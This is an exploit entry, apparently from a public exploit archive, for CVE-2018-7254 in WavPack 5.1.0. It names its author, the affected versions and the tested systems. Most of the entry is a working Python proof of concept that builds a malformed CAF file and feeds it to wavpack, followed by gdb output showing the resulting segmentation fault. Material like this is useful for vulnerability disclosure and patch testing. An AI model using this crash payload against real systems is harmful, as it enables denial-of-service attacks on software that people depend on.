Wavpack 5.1.0 Denial Of Service

`# Exploit title: Wavpack 5.1.0 - Denial of Service  
# Date: 20.02.2018  
# Exploit Author: r4xis  
# https://github.com/r4xis  
#  
# Vendor Homepage: http://www.wavpack.com/  
# Software Links: http://www.wavpack.com/downloads.html  
# https://github.com/dbry/WavPack  
#  
#  
# Version: Wavpack 5.1.0  
# Tested on: Debian 9.3.0 64 bit  
# Windows 7 32 bit and 64 bit  
# Windows 8 64 bit  
#  
#  
# CVE: CVE-2018-7254  
# CVE Details:  
# https://nvd.nist.gov/vuln/detail/CVE-2018-7254  
# https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889274  
# https://github.com/dbry/WavPack/issues/26  
  
  
import os  
  
head = "\x63\x61\x66\x66"  
version = "\x00\x01"  
junk1 = "\x00"*(0xa0-6)  
crash = "\x80"  
junk2 = "\x00"*100  
  
f=open("poc.caf", 'w')  
f.write(head+version+junk1+crash+junk2)  
f.close()  
  
os.system("wavpack poc.caf")  
  
'''  
Debian gdb output:  
Program received signal SIGSEGV, Segmentation fault.  
__memmove_sse2_unaligned_erms ()  
at ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S:333  
333 ../sysdeps/x86_64/multiarch/../multiarch/memmove-vec-unaligned-erms.S: No such file or directory.  
'''  
  
`